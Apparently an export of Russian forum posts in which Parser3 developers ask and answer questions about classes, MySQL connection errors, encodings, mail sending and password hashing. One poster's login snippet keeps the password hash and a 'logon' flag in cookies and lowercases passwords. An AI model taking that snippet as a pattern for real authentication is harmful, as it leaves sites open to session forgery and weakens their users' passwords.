$name[$self.name]\
^if(${form:$name} == $self.error_value){\
	$result(0)\
}{\
	$result(1)\
}\
\
@error_m[]\
$result[$self.error]\
[/code]\
\
Вызов:\
[code]\
$array[^table::sql{SELECT id, rus, eng FROM options WHERE class='1'}]\
$param[\
	$.array[$array]\
	$.name[name]\
	$.key[rus]\
	$.value[id]\
	$.first_key[Выберите раздел]\
	$.first_value[0]\
	$.error_value[0]\
	$.error[Вы не выбрали раздел]\
	$.selected[$form:name]\
]\
$obj[^select::create[$param]]\
<form method=\"post\">\
^obj.write[]\
<input type=\"submit\">\
</form>\
$res[^obj.valid[]]\
^if(^obj.valid[] == 0){\
      $error[^obj.error_m[]]\
      $error\
}\
[/code]\
Наверное класс ужасный, но принцип вроде понятен."
"49197","У клиента моего тоже фотки не видны!"
"49200","Люди! Я не обижаюсь. И ни кому малину портеть не хочу. Просто за проектом нужно следить со всех позиций. Я понял чего в моём сайте нехватает, но я не посылаю на... всех..."
"49201","- не понимаю конструкцию: ${form:${self.name}}\
- @valid[] лучше написать так: $result($form:$name == $self.error_value) [писалось об этом не раз]\
- конструкция $res[^obj.valid[]] мне тоже не понятна\
- ну и скобки я использовал бы соответствующие: где число там ()"
"49202","[quote]\
- не понимаю конструкцию: ${form:${self.name}}\
- @valid[] лучше написать так: $result($form:$name == $self.error_value) [писалось об этом не раз]\
- конструкция $res[^obj.valid[]] мне тоже не понятна\
- ну и скобки я использовал бы соответствующие: где число там ()\
[/quote]\
${form:${self.name}}\
Забыл удалить... Эксперементировал как написать\
\
[code]\
$form:$self.name\
[/code]\
$form:$self.name - возвращает значение генерируемого элемента формы. Такую конструкцию придется использовать если метод уже будет содержать локальную переменную name.\
\
Не пойму как только \"{}\" поставить?\
\
$result($form:$name == $self.error_value) - вернет true или false в зависимости от значений?\
\
[code]\
$res[^obj.valid[]]\
[/code]\
тоже надо удалить...\
\
а self. в конструкторе привычнее как-то. Хотя не спорю - это ничего не меняет. По аналогии в других языках в конструкторе пишется $this->var=$var например."
"49204","Я глянул ... мама, там switch парсящий опции командной строки, почти на 1000 строк. Если нашел выход, пожалуй я на это забью :)"
"49205","Только сейчас заметил. Ай-ай нехорошо так поступать...\
P.s. Это я насчёт сайта [url=\"http://comtel.tyumen.ru/\"]Comtel[/url]\
Ничего не напоминает? (если дизайн делали не Вы то извиняйте)"
"49207","[quot]\
Просто за проектом нужно следить со всех позиций\
[/quot]\
\
http://ppa.net.ru/ - это Ваш, как я понял сайт... идем дальше lab. видим: \
[quot]\
Раздел представляет собой список разных уроков и статей для веб-дизайнера. Все описанные случаи были разработаны мной на разных стадиях работ над разными проектами.\
[/quot]\
дальше видим слово \"Отсутствует\" ровно три раза. \
Уважаемый учитель, где же ваши уроки ?"
"49208","http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnrtfspec/html/rtfspec_16.asp"
"49212","Есть класс givemsg.p - класс добавляет объявления.\
Структура примерно такая:\
[code]\
@CLASS\
givemsg.p\
\
@USE\
/lib/forms/txt.p\
/lib/forms/select.p\
\
@form[]\
#Здесь мы описываем форму.\
#Создаем объект формы:\
#ОРГАНИЗАЦИЯ\
$param[\
	$.name[name]\
	$.value[$form:name]\
	$.value_2[$out.name]\
	$.size[56]\
	$.def[1]\
	$.maxlen[150]\
	$.minlen[2]\
	$.def_e[Введите название организации]\
	$.len_e[Поле должно содержать минимум 2 знака]\
\
]\
\
$name[^txt::create[$param]]\
\
<table width=\"100%\" border=\"0\" bgcolor=\"CCCCCC\" cellspacing=\"1\" cellpadding=\"4\" class=\"$tableclass\">\
<form method=\"post\">\
<tr valign=\"middle\">\
	<td bgcolor=\"$leftcolor\" align=\"$leftalign\"><b><span class=\"red\">*</span> Организация</b></td>\
	<td bgcolor=\"$rightcolor\" align=\"$rightalign\">^name.write[]</td>\
</tr>\
\
........\
........\
[/code]\
\
Дальше в этом классе идут методы:\
[code]\
@spam_filter[]\
........\
........\
\
@checkform[]\
# И здесь мне нужно использовать объект name, созданный в @form[]\
# Как его вызвать оттуда?\
[/code]"
"49213","Насколько я понимаю, эти переменные окружения выдает сервер?\
Почемуто в NN $env:HTTP_REFERER - это пустая строка... В IE все ОК... почему так происходит?"
"49214","... а чтобы не таскать всюду за собой \"?lng=\" после клика по ссылке и выборе языка, можно код или название языка записать в куку, если куки включены\
в противном случае таскать в урлах ?lng=\
\
ну или если делаете через модреврайт, то\
/eng/....\
/rus/...\
/de/...\
/fr/..."
"49215","Да это всё конечно верно, но дело не в формате.Я имел ввиду логотип. Не замечаете его схожесть с [url=\"http://tema.ru/\"]http://tema.ru/[/url]?"
"49216","Напишите, пожалуйста, всё с самого начала (учитывая, что некоторые пользователи не имеют понятия о Eclipse)."
"49217","Поэтому предлагаю использовать CGI, либо ставить Apache 1.3."
"49218","[quote]$env:HTTP_ПОЛЕ_ЗАПРОСА \
\
Такая конструкция возвращает значение поля запроса, передаваемое [b]браузером[/b] веб-серверу (по HTTP протоколу). [/quote]\
Так что здесь всё зависит от браузера, в меньшей мере от сервера"
"49219","Например, $env:SERVER_NAME вообще не зависит от браузера. Но что касается HTTP_REFERER — все верно: передачу этого заголовка пользователь браузера может отключить."
"49221","Создал метод auto[], создал там объекты - не работает.\
Я сделал как предлагал Luzhnikovskiy - создал метод в классе, в котором объявил все объекты, а далее, вызываю этот метод где нужно.\
\
Правда, на мой взгляд, не очень красиво получилось."
"49222","Просмотрел подробно весь рунет - ничего не нашел. \
Скажу сразу - интересно мне это с точки зрения девелопера. От субжа зависит многое, в частности, на каком языке будет писаться проект. До этого не рассматривал возможность перехода с ПХП на Парсер ввиду интересов переносимости кода с сервера на сервер. \
Какова оценка безопасности Парсера по сравнению с ПХП?? Есть ли у кого реальные данные?? Насколько свободен от опасных багов сам интерпретатор (переполнение буфера и т.п.) и какую функциональность по безопасности обеспечивает сам язык?? Существуют ли встроенные на уровне языка \"защиты от дураков\", чтобы сэкономить время на скурпулезной проработке кода по обработке переменных из запросов и т.п. \
Репортов по уязвимостям я не нашел. Это настораживает. Означает ли это, что их (уязвимостей) нет?? Ведь если людей, которые их находят, гораздо меньше, чем у ПХП, то и меньше вероятность, что обнаружится одна, но критическая уязвимость. Да, это поможет оградиться от кулхацкера, которому нужен готовый эксплоит, но поскольку доступен исходный код Парсера, то тот, кому всерьез понадобится отыскать дыру, ее отыщет."
"49224","Парсер по сравнению с ПХП гораздо менее популярный язык программирования, на нем программирует гораздо меньше разработчиков, на нем делается гораздо меньше проектов - соответственно, и интересно у хакеров к нему значительно меньше. Лично мое мнение - уязвимостей в Parser не находили просто потому, что их никто [кроме самих разработчиков языка] не искал."
"49225","?-)"
"49226","Было бы не плохо разработать, обсудить, принять за стандарт и опубликовать на этом сайте \"Соглашение о кодировании\" на языке парсер. Что-то типа венгерской натации или т.п.: как именовать переменные, как классы, как методы, всякие префексы, когда использовать в названиях верхний/нижний регистр, \"_\" и т.д. и т.п.\
\
Может у студии уже есть (скорее всего есть! :)) такой стандарт - тогда было бы не плохо сделать его общественным достоянием как и парсер."
"49227","http://tony2001.phpclub.net/doc/standard/index.html"
"49228","У меня стоит на стороне сервера один на все домены grey listing в связке с sendmail - он не теряет валидную почту. Но отфильтровывает 99% спама!\
\
Можно сделать алгоритм ввода сообщений на форум \"с подтверждением\":\
\
1.  Вводим пост в текстареа\
2.  Делаем сабмит \"послать\"\
3.  Вылетаем на экран с графической защитой и полемм ввода подтверждения\
4.  Вводим код подтверждения и ещё раз сабмит\
5.  Если совпало, то всё принимаем пост. Если не совпало, то п.3 снова.\
\
От роботов поможет. А также отсеет всех пусто-флеймеров: будут постить только те, кому это жизненно необходимо :)\
\
Как вариант, чтобы только мышой работать и по клавишам не бряцать при постинге, можно выводить несколько кнопок с субмит разного цвета. А нужный цвет будет указан прописью в поле защиты. правда могут правозащитники (грантососы) возбухнуть на предмет защиты прав дальтоников :)\
\
\
\
Можно и по алгоритмам grey listing'а (по временной задержке между первой попыткой \"протолкнуть\" пост на форум и последующей) что-то подобное сделать, но тогда уж точно форум будет мёртвый :)"
"49229","Хотя бы из PHP'шного образца? Благодарность сообщества не будет иметь границ!"
"49230","Помоему Миша в3 относительно недавно находил, ошибку taint в $result\
но с тех пор вышла новая версия\
\
Насколько я помню это единственная ошибка которая давала возможности так сказать повышения прав при определённом стечении обстоятельств\
\
На счёт защиты от дурака смотрите в документации taint и untaint"
"49231","Стиль вырабатывается годами и мало зависит от языка.\
Поэтому ничего кроме ликбеза для начинающих данное начинание, увы, не принесёт.\
\
Хотя, если кто-то предложит некоторую концепцию - покритикую со своей точки зрения непременно."
"49232","Все попытки поднасрать начинаються с подстоновки куков, и подстановкой параметров.\
Проверяю коректность куков и  параметров и виду логи. И сразу палим  IP и действия недругов.\
\
Но IP меняют, куки затирают... как еще можно запомнить злоумышленника? есть ли среди переменных окружения, какая нибудь контсанта привязаная к компьютеру? (серийный номер процессора, или хотя бы ОС)"
"49235","Если нету, то наверное попробуем сделать и выложить для обсуждения свой вариант."
"49236","А стандарт, это что-то типа общепринятых норм поведения что ли.\
Хотя есть большая масса народа, т.н. анархисты-пофигисты, для которых любой стандарт и норма как красная тряпка.\
Чаще всего своим анархо-пофигизмом они прикрывают собственное раздолбайство и неаккуратность! :)"
"49237","А вот в версии 3.1.6 работает. Что-то разработчика давно не видно..."
"49238","ибо наступать на собою же положенные грабли не хочется ни одному здравомыслящему индивидууму.\
\
Раздолбайство проникает в вещи, которые в систему привести очень трудно - в имена переменных/методов/классов, к примеру.\
Если [b]написание[/b] этих имён можно систематизировать, так же как отступы внутри циклов и многие другие вещи, то само название очень часто приходит с \"балды\", а исправлять потом лень.\
\
Да и не нужно иногда...\
\"фсе ужосы ада в одном сырце\"\
http://thc.org/root/phun/unmaintain.html\
\
Миша придёт, он расскажет про то, как системы приживаются в студии ;)"
"49240","точкой стало предложение почитать книгу \"Совершенный код\", С. Макконнелл (есть в полезных ссылках).\
\
P.S. читаю. очень интересно. найти можно и в формате djvu"
"49241","P.S. я слышал теорию что так делают только дураки, а умные учатся на ошибках других :)))"
"49242","А умные - хоть на чём.\
Есть - на чужих, нет - на своих."
"49244","Там умные учатся на своих, мудные на чужих :)\
Ну а дураки так и ходят по граблям :)"
"49246","Есть динамические классы fruit, apple, pear, cherry.\
\
Конструктор класса fruit руководствуясь пришедшими параметрами создает объекты классов apple, pear, cherry.\
\
[b]Я хочу[/b], создав объект класса fruit, пользоваться методами и свойствами классов apple, pear, cherry.\
\
[code]\
###########################################\
@CLASS\
fruit\
\
@USE\
apple.p\
pear.p\
cherry.p\
\
@create[params]\
# ...\
$APPLE[^apple::create[$params.for_apple]]\
$PEAR[^pear::create[$params.for_pear]]\
$CHERRY[^cherry::create[$params.for_cherry]]\
# ...\
### End of @create[params]\
\
@method_1[]\
#...\
### End of @method_1[]\
\
@method_N[]\
#...\
### End of @method_N[]\
\
\
\
###########################################\
@CLASS\
apple\
\
@create[params]\
# ...\
### End of @create[params]\
\
@method_1[]\
#...\
### End of @method_1[]\
\
@method_N[]\
#...\
### End of @method_N[]\
\
\
###########################################\
@CLASS\
pear\
\
@create[params]\
# ...\
### End of @create[params]\
\
@method_1[]\
#...\
### End of @method_1[]\
\
@method_N[]\
#...\
### End of @method_N[]\
\
\
###########################################\
@CLASS\
cherry\
\
@create[params]\
# ...\
### End of @create[params]\
\
@method_1[]\
#...\
### End of @method_1[]\
\
@method_N[]\
#...\
### End of @method_N[]\
[/code]\
\
Кажется мне что надо гдето грамотно объявить что-то базовое. Но что и где не пойму.\
\
\
Сейчас юзаю так:\
[code]\
$FRUIT[^fruit::create[\
	$.param_1[]\
	$.param_2[]\
#	...\
	$.param_N[]\
]]\
\
# вызываю метод класса fruit\
^FRUIT.method_1[]\
\
# вызываю метод класса apple\
^FRUIT.APPLE.method_1[]\
# вызываю метод класса pear\
^FRUIT.PEAR.method_1[]\
# вызываю метод класса cherry\
^FRUIT.CHERRY.method_1[]\
[/code]\
\
[b]Не пойму[/b]:\
  1. Какие методы каким классом наследуются?\
  2. Для чего нужно объявлять базовый класс?"
"49247","[code]\
\
$p - приходит как параметр. В данном случае пустой.\
\
$h[$form:fields]\
^h.add[$p]\
$z[$h]\
^z.foreach[field;value]{^if(!def $value){^h.delete[$field]}}"
"49248","Есть каталог товаров, в определенной таблице БД записывается принадлежность категорий товаров какой-либо компании.\
\
[b]Задача:[/b] вывести корневые категории товаров, т.е., те которые не принадлежат другим категориям (имеют parent_id = 0), выбранной пользователем компании.\
\
[b]Проблема:[/b]\
При текущей реализации это выглядит так:\
[quot]Гардероб \
\
Медецина \
Гардероб \
Гардероб\
[/quot]\
Хотя должно выглядеть так:\
[quot]Гардероб\
Медецина\
[/quot]\
Пожалуйста, подскажите что сделано не так\
\
Вот код текущей задачи:\
[code]\
#получаем идентификатор выбранной компании\
$step_4(^form:step_4.int(0))\
\
$relations_companies[^table::sql{SELECT company_id, category_id FROM relations_companies}]\
\
^connect[$connect_string]{\
		$categories[^table::sql{select\
			category_id, parent_id, category_name, link_to_category_id\
		from\
			categories\
	GROUP BY category_id\
	}]\
\
$tmp_relations_companies[^relations_companies.select($relations_companies.company_id eq $step_4)]\
^tmp_relations_companies.menu{\
$tmp_categories[^categories.select($categories.category_id eq $tmp_relations_companies.category_id)]\
$categories_root[^categories.select($categories.link_to_category_id eq '0' && $categories.category_id eq $tmp_relations_companies.category_id)]\
	$parent[$categories_root.parent_id]\
	$tmp[^categories.select($categories.category_id eq $parent && $categories.parent_id eq '0')]\
			$tmp.category_name\
					\
\
\
\
\
\
}{\
	^if(def $tmp_categories){<br>}\
}\
[/code]\
\
[b]Таблица БД relations_companies[b]\
[code]\
company_id 	category_id \
1	1\
2	3\
1	45\
1	0\
1	47\
40	147\
2	44\
1	0\
1	0\
1	10\
40	149\
35	47\
35	49\
35	51\
1	3\
[/code]\
\
[b]Таблица БД categories[/b]\
[code]\
category_id 	parent_id 	category_name 	link_to_category_id \
1	4	Верхняя одежда	0\
2	3	Спортивная	0\
3	4	Обувь	0\
4	0	Гардероб	0\
13	1	 	2\
8	0	Медецина	0\
10	4	Нижнее белье	0\
11	3	Домашняя	0\
12	1	 	11\
14	3	Какая-то	0\
15	1	 	14\
39	1	Плащи	0\
37	0	Колеса	0\
36	0	Еда	0\
44	3	Трекинг	0\
45	1	Куртки	0\
46	8	Стоматолагические кабинеты	0\
47	8	Аптеки	0\
48	8	Косметические кабинеты	0\
49	37	Сервисы	0\
50	37	Мойки	0\
51	36	Рестораны	0\
52	36	Магазины	0\
149	148	Диваны	0\
147	67	Интерьер	0\
148	67	Мебель	0\
67	0	Дом	0\
[/code]"
"49249","Я только-только перешёл на parser, и возникла проблема с кодировками. Сервер с mysql под koi8-r, страницы тоже. Если ф форму писать текст, он корректно сохраняется в базе в koi8-r. Но если в этот текст вставить какой-нибудь символ, например, значок номера пользователь вводит, то текст в базе оказывается в cp1251. При этом в auto.p всюду прописана koi8-r.\
\
Не подскажете, где грабли?"
"49250","деловтомчто, что толпа никогда не учится...\
она предпочитает наблюдать, как отдельные личности наступают/обходят на/ разбросанные грабли (свои и чужие, а кому не хватает – те еще и на гвозди ложатся и т.д.)\
... и за это платит деньги..."
"49251","Здравствуйте.\
У меня на одном сайте есть админка в которой редактируется расписание занятий.\
Т.е. создается монструозного вида таблица, где в каждой строке (одна строка на 1 день) есть селекты с именами преподавателей, названием дисциплины и т.д.\
В общем если строк там больше 120-150 всё это вываливается с out of memory (while expanding string).\
Таблица создается так:\
[code]\
$from[^date::create[$form:orderdate]]\
$to[^date::create[$form:orderdate2]]\
^while($to >= $from){\
\
  .. тут идут <tr><td> ..\
\
  ^from.roll[day](1)\
}\
[/code]\
Никаких запросов к базе в while нет, только статичный текст.\
\
Подскажите, это неизлечимо, или можно оптимизировать цикл, чтоб не вываливалось?\
Любые варианты..\
\
upd: версии парсера разные пробовал..\
может как-нибудь xml формировать, не будет это менее ресурсоемко?"
"49252","У меня ваш код работает.\
на всякий случай:\
http://localhost/zzz.html?orderdate=2005-1-1&orderdate2=2005-2-10\
\
омжет не правильно приходят даты из form ?"
"49253","Да нет, код-то и у меня работает..\
Дело в том, что в нужном варианте 1 строчка таблицы (с данными из селектов и т.д.) занимает 8 килобайт чистого html'ля..\
Вот оно и падает."
"49255","..а именно\
[quot]\
вывести корневые категории товаров, т.е., те которые не принадлежат другим категориям (имеют parent_id = 0), выбранной пользователем компании.\
[/quot]\
\
То вот этот код должен работать:\
[code]\
$step_4(^form:step_4.int(0))\
^connect[$connect_string]{\
  $rc[^table::sql{SELECT distinct category_id FROM relations_companies where company_id = $step_4 order by category_id}]\
  ^if($rc is 'table'){\
    $cat[^table::sql{select * from categories where parent_id = 0 and (^rc.menu{category_id = $rc.category_id}[ or ])}]\
    ^cat.menu{\
      $cat.category_name\
    }[<br />]\
  }\
}\
[/code]\
\
Только с данными приведенными вами накладка.. К примеру строка\
4	0	Гардероб	0\
с category_id равном 4.. А в relations_companies category_id = 4 вообще нет.."
"49256","Экспериментировал уже..\
Никаких ощутимых улучшений это не даёт.."
"49257","[code]$z[^hash::create[$h]][/code]"
"49259","и в его конструкторе делаете ^BASE::init[...]\
(use базового тоже в дочернем)\
Таким образом, вы переопределяете методы базового класса (теми, что есть в дите) и пользуетесь методами дитя."
"49260","В данном случае из базы вообще ничего не берется..\
Берется начальная дата и конечная и гонится while'ом..\
Мне интересно как можно это реализовать.\
Если не получится, тогда конечно буду делать редактирование по одному месяцу, а не всё сразу, но муторно это очень.. =("
"49261","Дело в том, что при обращении к БД выдается такая ошибка:\
'mysql://****@localhost/higtech_main' Client does not support\
authentication protocol requested by server; consider upgrading MySQL client [sql.connect]\
\
Форум весь перерыл и кроме рекомендации перекомпилировать Парсер (как неизвестно) ничего не нашел в своем случае.\
\
Можно как-нибудь избежать компиляции?\
Или что нужно-то?\
Какие есть ограничения у Парсера по поводу версий БД?"
"49262","а вы лишь указываете ему путь к этой библиотеке в конфигурационном auto.p.\
для win это libmySQL.dll, для libmysqlclient.so. причем если клиентская библиотека для win входит в скачиваемые файлы, то клиентская библиотека для *nix - нет.\
\
где в вашей системе находится клиентская библиотека, необходимая для подключения к вашему sql серверу одному бо... админу вашей системы известно. спросите его и пропишите правильный путь. перекомпиляция парсера тут не при чем."
"49263","1. вы говорите что одна строка в html занимает 8 КБ, 150 строк получается 1.2 МБ. по моему для html-я это многовато.\
\
2. какое ограничение парсера по памяти? а rusage сколько показывает например на 10 строк? а то может принципиально тут не влезть?\
\
3. может много пропиваться на форматировании (табы в коде). попробуйте не выдавать результат в проузер, а сохранить в файл, чтобы парсер не делал оптимизацию whitespace. много их там? если да, то можно пооптимайзить (кое что вынести в отдельные методы, чтобы избежать кучки пробелов, кое что написать в одну строку)\
\
4. xml/xsl вряд-ли поможет в случае, если надо пооптимизировать память.\
\
5. подумайте над тем, чтобы окончательно генерить страницу с помощью JS. например я так понял в каждом столбце есть select. отличаются только значением selected. можно выдать этот selected а 150 раз нарисовать select с пачкой options джаваскриптом. при этом страница будет весить существенно меньше, и грузится - быстрее."
"49264","Дело в том, что принадлежность корневой категории товаров непосредственно не прописывается по отношению к какой-либо компании. \
\
К примеру, к компании «Спорт+Мода» относятся следующие категории: «Верхняя одежда», «Куртки», «Аптеки», «Нижнее белье», «Обувь».\
\
Далее нужно определить к каким корневым категориям относятся обозначенные подкатегории (что в текущей реализации выполнено), т.е. «Верхняя одежда, Куртки, Нижнее белье, Обувь» относиться к родительской категории «Гардероб» , а «Аптеки» относиться к «Медицина».\
\
Только вот выводиться это как-то странно, размножаясь:\
[quot]\
Гардероб \
\
Медецина \
Гардероб \
Гардероб\
[/quot]"
"49266","Сограждане! Помогите! \
Есть ли у кого-нибудь cgi, собранный под FreeBSD 6.0?\
Буду очень благодарна!"
"49268","Тогда могу предложить такой подход..\
Создаём функцию которая рекурсивно вычисляет корневой пункт любой категории не зависимо от вложенности:\
[code]\
@getRoot[in][_root_in]\
^if($in != 0){\
  $_root_in[^table::sql{select * from categories where category_id = $in}]\
  ^if($_root_in.parent_id == 0){\
    $result[$_root_in.category_id]\
  }{\
    ^getRoot[$_root_in.parent_id]\
  }\
}\
[/code]\
\
А потом делаем так:\
[code]\
$step_4[^form:step_4.int(0)]\
$cats[^table::sql{select distinct category_id from relations_companies where company_id = $step_4 and category_id != 0}]\
\
^if(^cats.count[] > 0){\
  $root_cats[^table::sql{select * from categories where ^cats.menu{category_id = ^getRoot[$cats.category_id]}[ or ]}]\
  ^root_cats.menu{\
    $root_cats.category_name\
  }[<br />]\
}\
[/code]\
\
Может не идеально, но задача вроде бы решена, и без использования такого количества селектов.."
"49269","Apache/2.0.54 (Win32)\
Логи.\
[Tue Jan 31 02:24:44 2006] [error] [client 127.0.0.1] Premature end of script headers: parser3.exe\
[Tue Jan 31 02:24:44 2006] [error] [client 127.0.0.1] \\r\
[Tue Jan 31 02:24:44 2006] [error] [client 127.0.0.1] This application has requested the Runtime to terminate it in an unusual way.\
[Tue Jan 31 02:24:44 2006] [error] [client 127.0.0.1] Please contact the application's support team for more information.\\r\
\
Код был таким\
[code]\
@qqq[]\
$a[Привет, это я]\
$b[^a.base64[]]\
$b\
\
$c[^string:base64[$b]]\
$c\
[/code]"
"49270","Ну и конечно же\
[code]\
@main\
^qqq[]\
[/code]"
"49271","Linux Debian пишет тоже самое."
"49272","Сделал на JS всё, вроде бы проблема решилась.. =)"
"49273","http://www.parser.ru/forum/?id=49237\
пока не исправленно"
"49275","Да уж, как только не раскорячишься."
"49276","...выдает другую ошибку. Про какой-то протокол. Мол, он его не поддерживает. Я эту ошибку описал.\
\
Это можно исправить без компиляции?"
"49277","... там просто @USE, а @BASE нету.\
\
2 Shipko M.: Наследование не самая простая вещь (хотя и не самая сложная). Почитайте про него ещё раз и внимательно, не поможет почитайте про него в других языках (C++/C#), может тогда понимание придёт. Удачи."
"49278","например это библиотека от 3 версии MySQL. укажите путь к библиотеке от 4 или 5 версии. там где вы читали про замену dll на win рекомендация была та-же: взять библиотеку от 4.5 версии mysql и положить её в каталог парсера (ну или не куопировать а указать путь к ней). парсер тут не при чем и его перекомпилирование не поможет."
"49282","Я написал как вызывать чтобы получить наследование + перекрытие.\
Для этого и нужно указывать BASE и вызывать дочерний класс, а не базовый.\
\
В приведённом коде не наследуется ничего.\
Просто в одном создаются экземпляры трёх классов и вызываются их методы."
"49283","Я весь каталог сервера перерыл, нет там такой библы. Пришлось взять эту. А она со старым протоколом только работает. И почему нигде не написано с чем парсер может работать, а с чем нет?\
\
Буду пытаться исправить дело дерективой old-passwords. Может и поможет."
"49285","Проблему конечно решит. По крайней мере я знаю как запустить этот двойной парсер. Только ситуация конечно до коликов смешная:)"
"49287","lib/libmysqlclient.a\
насколько я понимаю - собрана статически (могу ошибаться, т.к. не спец в *nix).\
\
чтобы получить .so надо компилить библиотеку mysql на вашей системе (уже может быть скомпилена, спросите у админа).\
\
парсер работает везде, где установлена стандартная mysql библиотека. он работает через неё. к упоминаемой ошибке он не имеет отношения. такую ошибку выдаст любое приложение, которое будет пытаться на этой системе обратиться к вашему mysql серверу через его библиотеку."
"49288","А почему в 3-й версии MySQL ничего компилировать не надо, а для 4 и 5 что-то надо компилировать? Значит не везде. Значит для 4-5 он уже не совсем подходит.\
\
Скомпилировать 'нечто.а' чтобы получить 'что-то.so' я не знаю как, и не на чем (у меня винды). Буду думать, как решить проблемку."
"49289","Чтобы на сервере можно было конвертировать звуковые форматы, делать те-же превью, для пред-слушания и пр."
"49290","P.S. я не говорил что надо компилировать \"нечто.а чтобы получилось нечто.so\". и то и то компилируется из исходников mysql, в которые входят исходники этих его библиотек. сходите в конце концов и почитайте документацию по mysql. в гугле тоже много чего есть, можно найти и скачать готовое, которое возможно заработает на вашей системе.\
\
P.P.S. все, я в этот тред больше не пишу, устал. четвертый пост одно и то-же."
"49293","То есть для тестирование win и уже на сервере в freebsd."
"49296","в результате работы скрипта, выдается вот такая ошибка:\
[quot][Tue Jan 31 12:36:09 2006] [22718] /feedback/:\
/home/www/servers/site.com/html/feedback/index.html(23:23):\
'send' '/usr/sbin/sendmail' reported problem: sh: line 1: mmencode:\
command not found| (0) [email.send][/quot]\
\
вот код скрипта:\
[code]\
@USE\
dtf.p\
\
@main[]\
$date_now[^date::now[]]\
\
^if(def $form:posted){\
	^if(def $form:author && def $form:email && def $form:subject && def $form:message){\
		^mail:send[\
			$.from[$form:author <$form:email>]\
			$.to[<info@site.com>]\
			$.cc[<admin@site.com>]\
			$.date[^dtf:to822[$date_now]]\
			$.subject[$form:subject | письмо с сайта $env:SERVER_NAME]\
			$.text[$form:message]\
			$.charset[$response:charset]\
			$.x-mailer[Parser 3]\
		]\
}\
\
<form method=\"POST\">\
Ваше имя:\
<input type=\"text\" name=\"author\">\
\
Ваш E-mail:\
<input type=\"text\" name=\"email\">\
\
Тема:\
<input type=\"text\" name=\"subject\">\
\
Текст сообщения:\
<textarea name=\"message\" rows=\"10\" cols=\"50\"></textarea>\
\
<input type=\"submit\" value=\"Отправить\" name=\"posted\">&nbsp^;<input type=\"reset\" value=\"Отмена\">\
</form>\
[/code]\
\
(форматирование вырезано)\
\
Самое интересное, подобный код работает на другом сайте (хостинг тот же), только отличается полями.\
\
На обоих сайтах версия Parser'а:\
Parser/3.1.4 (compiled on i686-pc-linux-gnu)"
"49297","Пожоже, так. Номер вводится пользователем в виндовой кодировке. И даже если до этого текст был в koi8, после ввода значка номера текст становится cp1251."
"49299","[quote]Если ф форму писать текст, он корректно сохраняется в базе в koi8-r. Но если в этот текст вставить какой-нибудь символ, например, значок номера пользователь вводит, [/quote]\
\
А что за текст-то? Русские буквы что-ли?\
Похоже код нужно смотреть. Так сразу непонятно."
"49301","Или я что-то нетак делаю...\
\
\
Если нельзя..\
А неподскажете как и чем можно нарисовать.."
"49302","up"
"49306","Пример из документации:\
[code]\
$right[123] \
$from_user[123] \
$crypted[^math:crypt[$right;^$apr1^$]] \
#обратите внимание на то, что $crypted при каждом обращении разный \
$crypted<br> \
^if(^math:crypt[$from_user;$crypted] eq $crypted){ \
    Казнить нельзя, помиловать \
}{ \
    Казнить, нельзя помиловать \
} \
[/code]\
$right - как я понимаю это искомый пароль\
$from_user - который приходит.\
\
Не понятна строка:\
[code]\
$crypted[^math:crypt[$right;^$apr1^$]]\
и затем \
^math:crypt[$from_user;$crypted]\
[/code]\
\
Не понятно вот почему:\
Если я зашифровал пароль при регистрации и положил его в базу. Далее есть форма для ввода логина и пароля. НО, если пользователь еще не вошел как я могу узнать $right??\
\
Не могу разобраться...\
\
И еще вопрос, восстановлению такие пароли не подлежат (если их забыли)? Новый генерируется?"
"49307","когда пользователь регистрируется (меняет пароль), вы создаете $crypted и кладете его в БД. при логине достаете этот $crypted по логину пользователя и сравниваете с $from_user как указано в доке.\
\
[quote]восстановлению такие пароли не подлежат?[/quote]\
нет. можете сгенерировать новый пароль и выслать на email пользователя.\
\
P.S. как это работает можно посмотреть в том числе в классе авторизации из примеров."
"49308","Сделал как Вы посоветовали, получился вот такой код. Но все-равно не работает. В конце кода вывожу эти переменные, чтобы посмотреть в чем проблема.\
[code]\
@auth[]\
^auth_form[]\
^if(def $form:go){\
	$login[^form:login.lower[]]\
	$pswd[^form:pswd.lower[]]\
	\
	$crpswd[^table::sql{SELECT c_id, pswd FROM auth WHERE login='$login'}]\
	\
	$crypted[^math:crypt[$crpswd.pswd;^$apr1^$]]\
	\
	^if(^math:crypt[$pswd;$crypted] eq $crypted){ \
		$cookie:ind[\
		$.value[$out.c_id]\
		$.expires(60)\
		]\
\
		$cookie:ind2[\
		$.value[$out.pswd]\
		$.expires(60)\
		]\
		$cookie:logon[\
		$.value[1]\
		$.expires(60)\
		]\
	}{\
#		$response:location[http://$env:SERVER_NAME/error.html]\
		$crypted, ^math:crypt[$pswd;$crypted]\
	}\
}\
[/code]\
\
$apr1$U88Y9TD4$LVHGo4hg99kYGYoZGSBp90, $apr1$U88Y9TD4$4bonGpk4Pd2sBNDLjjfha0\
\
Как видно, часть хеша идентична, но хвосты разные.\
\
В БД пароль попадает так:\
'^math:crypt[$pswd;^$apr1^$]'"
"49309","[quote]Для проверки введенного пароля к нему применяют то же преобразование, передавая в качестве salt сохраненный хеш, а результат сверяют с сохраненным.[/quote]"
"49310","[code]\
@auth[]\
^auth_form[]\
^if(def $form:go){\
	$login[^form:login.lower[]]\
	$pswd[^form:pswd.lower[]]\
	\
	$crpswd[^table::sql{SELECT c_id, pswd FROM auth WHERE login='$login'}]\
	\
	^if(^math:crypt[$pswd;$crpswd.pswd] eq $crpswd.pswd){ \
		$cookie:ind[\
		$.value[$crpswd.c_id]\
		$.expires(60)\
		]\
\
		$cookie:ind2[\
		$.value[$crpswd.pswd]\
		$.expires(60)\
		]\
		$cookie:logon[\
		$.value[1]\
		$.expires(60)\
		]\
	}{\
#		$response:location[http://$env:SERVER_NAME/error.html]\
		$crpswd.pswd, ^math:crypt[$pswd;$crpswd.pswd]\
	}\
}\
[/code]\
\
В БД лежит $apr1$1KDv\
\
Выводит:\
$apr1$1KDv, $apr1$1KDv$D/u9mQyhXHsbiReb6I4AG."
"49311","А сложно ли:\
Было — ^#.*\
Стало — ^\\s*#.*\
?\
\
А нужно ли? — Для удобства форматирования кода, надоело так писать:\
\
[code]^if(...){\
#	комментарий\
	^if(...){\
#		комментарий\
	}{\
#		комментарий\
		^if(...){\
#			комментарий\
		}{\
#			комментарий\
		}\
	}\
}{\
#	комментарий\
}[/code]"
"49314","действительно длина строки была 10 символов всего,\
все заработало.\
Спасибо!\
"
"49315","не пойдёт, для этого ^rem{} есть\
а может я в тело css вставлю мега-подлянский\
[code]\
P {\
 color:\
	#555555;\
}\
[/code]\
и ведь не запретишь :)"
